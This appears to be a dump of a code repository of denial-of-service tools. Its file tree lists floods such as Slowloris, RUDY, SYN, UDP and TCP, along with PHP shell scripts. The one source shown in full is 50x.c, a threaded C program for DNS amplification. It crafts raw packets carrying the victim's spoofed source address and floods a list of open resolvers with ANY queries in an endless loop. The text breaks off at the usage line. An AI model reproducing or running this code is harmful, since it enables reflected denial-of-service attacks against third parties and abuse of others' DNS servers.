├── 50x.c ├── ARME.c ├── README.md ├── RUDY.c ├── SLOWLORIS.c ├── SSYN2.c ├── SUDP.c ├── SUDP2.c ├── TCP Shell.php ├── TCP.c ├── UDP Shell.php └── UDP.c /50x.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #define MAX_PACKET_SIZE 8192 13 | #define PHI 0x9e3779b9 14 | #define PACKETS_PER_RESOLVER 25 15 | 16 | static uint32_t Q[4096], c = 362436; 17 | 18 | struct list 19 | { 20 | struct sockaddr_in data; 21 | char domain[512]; 22 | int line; 23 | struct list *next; 24 | struct list *prev; 25 | }; 26 | struct list *head; 27 | 28 | struct thread_data{ 29 | int thread_id; 30 | struct list *list_node; 31 | struct sockaddr_in sin; 32 | int port; 33 | }; 34 | 35 | struct DNS_HEADER 36 | { 37 | unsigned short id; // identification number 38 | 39 | unsigned char rd :1; // recursion desired 40 | unsigned char tc :1; // truncated message 41 | unsigned char aa :1; // authoritive answer 42 | unsigned char opcode :4; // purpose of message 43 | unsigned char qr :1; // query/response flag 44 | 45 | unsigned char rcode :4; // response code 46 | unsigned char cd :1; // checking disabled 47 | unsigned char ad :1; // authenticated data 48 | unsigned char z :1; // its z! reserved 49 | unsigned char ra :1; // recursion available 50 | 51 | unsigned short q_count; // number of question entries 52 | unsigned short ans_count; // number of answer entries 53 | unsigned short auth_count; // number of authority entries 54 | unsigned short add_count; // number of resource entries 55 | }; 56 | 57 | //Constant sized fields of query structure 58 | struct QUESTION 59 | { 60 | unsigned short qtype; 61 | unsigned short qclass; 62 | }; 63 | 64 | //Constant sized fields of the resource record structure 65 | struct QUERY 66 | { 67 | unsigned char *name; 68 | struct QUESTION *ques; 69 | }; 70 | 71 | void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host) 72 | { 73 | int lock = 0 , i; 74 | strcat((char*)host,"."); 75 | 76 | for(i = 0 ; i < strlen((char*)host) ; i++) 77 | { 78 | if(host[i]=='.') 79 | { 80 | *dns++ = i-lock; 81 | for(;lock> 32); 110 | x = t + c; 111 | if (x < c) { 112 | x++; 113 | c++; 114 | } 115 | return (Q[i] = r - x); 116 | } 117 | 118 | /* function for header checksums */ 119 | unsigned short csum (unsigned short *buf, int nwords) 120 | { 121 | unsigned long sum; 122 | for (sum = 0; nwords > 0; nwords--) 123 | sum += *buf++; 124 | sum = (sum >> 16) + (sum & 0xffff); 125 | sum += (sum >> 16); 126 | return (unsigned short)(~sum); 127 | } 128 | 129 | void setup_udp_header(struct udphdr *udph) 130 | { 131 | 132 | } 133 | 134 | void *flood(void *par1) 135 | { 136 | struct thread_data *td = (struct thread_data *)par1; 137 | 138 | fprintf(stdout, "Thread %d started\n", td->thread_id); 139 | 140 | char strPacket[MAX_PACKET_SIZE]; 141 | int iPayloadSize = 0; 142 | 143 | struct sockaddr_in sin = td->sin; 144 | struct list *list_node = td->list_node; 145 | int iPort = td->port; 146 | 147 | int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); 148 | if(s < 0) 149 | { 150 | fprintf(stderr, "Could not open raw socket. You need to be root!\n"); 151 | exit(-1); 152 | } 153 | 154 | //init random 155 | init_rand(time(NULL)); 156 | 157 | // Clear the data 158 | memset(strPacket, 0, MAX_PACKET_SIZE); 159 | 160 | // Make the packet 161 | struct iphdr *iph = (struct iphdr *) &strPacket; 162 | iph->ihl = 5; 163 | iph->version = 4; 164 | iph->tos = 0; 165 | iph->tot_len = sizeof(struct iphdr) + 38; 166 | iph->id = htonl(54321); 167 | iph->frag_off = 0; 168 | iph->ttl = MAXTTL; 169 | iph->protocol = IPPROTO_UDP; 170 | iph->check = 0; 171 | iph->saddr = inet_addr("192.168.3.100"); 172 | 173 | iPayloadSize += sizeof(struct iphdr); 174 | 175 | 176 | struct udphdr *udph = (struct udphdr *) &strPacket[iPayloadSize]; 177 | udph->source = htons(iPort); 178 | udph->dest = htons(53); 179 | udph->check = 0; 180 | 181 | iPayloadSize += sizeof(struct udphdr); 182 | 183 | struct DNS_HEADER *dns = (struct DNS_HEADER *) &strPacket[iPayloadSize]; 184 | dns->id = (unsigned short) htons(rand_cmwc()); 185 | dns->qr = 0; //This is a query 186 | dns->opcode = 0; //This is a standard query 187 | dns->aa = 0; //Not Authoritative 188 | dns->tc = 0; //This message is not truncated 189 | dns->rd = 1; //Recursion Desired 190 | dns->ra = 0; //Recursion not available! hey we dont have it 191 | dns->z = 0; 192 | dns->ad = 0; 193 | dns->cd = 0; 194 | dns->rcode = 0; 195 | dns->q_count = htons(1); //we have only 1 question 196 | dns->ans_count = 0; 197 | dns->auth_count = 0; 198 | dns->add_count = htons(1); 199 | 200 | iPayloadSize += sizeof(struct DNS_HEADER); 201 | 202 | sin.sin_port = udph->source; 203 | iph->saddr = sin.sin_addr.s_addr; 204 | iph->daddr = list_node->data.sin_addr.s_addr; 205 | iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1); 206 | 207 | 208 | char strDomain[512]; 209 | int i; 210 | int j = 0; 211 | int iAdditionalSize = 0; 212 | while(1) 213 | { 214 | if(j==2){ 215 | usleep(100); 216 | j=0; 217 | } 218 | 219 | 220 | 221 | //set the next node 222 | list_node = list_node->next; 223 | 224 | //Clear the old domain and question 225 | memset(&strPacket[iPayloadSize + iAdditionalSize], 0, iAdditionalSize+256); 226 | 227 | //add the chosen domain and question 228 | iAdditionalSize = 0; 229 | 230 | unsigned char *qname = (unsigned char*) &strPacket[iPayloadSize + iAdditionalSize]; 231 | 232 | strcpy(strDomain, list_node->domain); 233 | ChangetoDnsNameFormat(qname, strDomain); 234 | //printf("!!%s %d\n", list_node->domain, list_node->line); 235 | 236 | iAdditionalSize += strlen(qname) + 1; 237 | 238 | struct QUESTION *qinfo = (struct QUESTION *) &strPacket[iPayloadSize + iAdditionalSize]; 239 | qinfo->qtype = htons(255); //type of the query , A , MX , CNAME , NS etc 240 | qinfo->qclass = htons(1); 241 | 242 | iAdditionalSize += sizeof(struct QUESTION); 243 | 244 | strPacket[iPayloadSize + iAdditionalSize] = 0x00; 245 | strPacket[iPayloadSize + iAdditionalSize + 1] = 0x00; 246 | strPacket[iPayloadSize + iAdditionalSize + 2] = 0x29; 247 | strPacket[iPayloadSize + iAdditionalSize + 3] = 0x23; 248 | strPacket[iPayloadSize + iAdditionalSize + 4] = 0x28; 249 | strPacket[iPayloadSize + iAdditionalSize + 5] = 0x00; 250 | strPacket[iPayloadSize + iAdditionalSize + 6] = 0x00; 251 | strPacket[iPayloadSize + iAdditionalSize + 7] = 0x00; 252 | strPacket[iPayloadSize + iAdditionalSize + 8] = 0x00; 253 | strPacket[iPayloadSize + iAdditionalSize + 9] = 0x00; 254 | strPacket[iPayloadSize + iAdditionalSize + 10] = 0x00; 255 | strPacket[iPayloadSize + iAdditionalSize + 11] = 0x00; 256 | 257 | iAdditionalSize += 11; 258 | 259 | 260 | //set new node data 261 | iph->daddr = list_node->data.sin_addr.s_addr; 262 | 263 | udph->len= htons((iPayloadSize + iAdditionalSize) - sizeof(struct iphdr)); 264 | iph->tot_len = iPayloadSize + iAdditionalSize; 265 | 266 | udph->source = htons(rand_cmwc() & 0xFFFF); 267 | iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1); 268 | 269 | //send 270 | for(i = 0; i < PACKETS_PER_RESOLVER; i++) 271 | { 272 | sendto(s, strPacket, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data)); 273 | } 274 | 275 | j++; 276 | } 277 | } 278 | 279 | void ParseResolverLine(char *strLine, int iLine) 280 | { 281 | char caIP[32] = ""; 282 | char caDNS[512] = ""; 283 | 284 | int i; 285 | char buffer[512] = ""; 286 | 287 | int moved = 0; 288 | 289 | for(i = 0; i < strlen(strLine); i++) 290 | { 291 | if(strLine[i] == ' ' || strLine[i] == '\n' || strLine[i] == '\t') 292 | { 293 | moved++; 294 | continue; 295 | } 296 | 297 | if(moved == 0) 298 | { 299 | caIP[strlen(caIP)] = (char) strLine[i]; 300 | } 301 | else if(moved == 1) 302 | { 303 | caDNS[strlen(caDNS)] = (char) strLine[i]; 304 | } 305 | } 306 | 307 | //printf("Found resolver %s, domain %s!\n", caIP, caDNS); 308 | 309 | if(head == NULL) 310 | { 311 | head = (struct list *)malloc(sizeof(struct list)); 312 | 313 | bzero(&head->data, sizeof(head->data)); 314 | 315 | head->data.sin_addr.s_addr=inet_addr(caIP); 316 | head->data.sin_port=htons(53); 317 | strcpy(head->domain, caDNS); 318 | head->line = iLine; 319 | head->next = head; 320 | head->prev = head; 321 | } 322 | else 323 | { 324 | struct list *new_node = (struct list *)malloc(sizeof(struct list)); 325 | 326 | memset(new_node, 0x00, sizeof(struct list)); 327 | 328 | new_node->data.sin_addr.s_addr=inet_addr(caIP); 329 | new_node->data.sin_port=htons(53); 330 | strcpy(new_node->domain, caDNS); 331 | new_node->prev = head; 332 | head->line = iLine; 333 | new_node->next = head->next; 334 | head->next = new_node; 335 | } 336 | } 337 | 338 | int main(int argc, char *argv[ ]) 339 | { 340 | if(argc < 4) 341 | { 342 | fprintf(stdout, "Usage: %s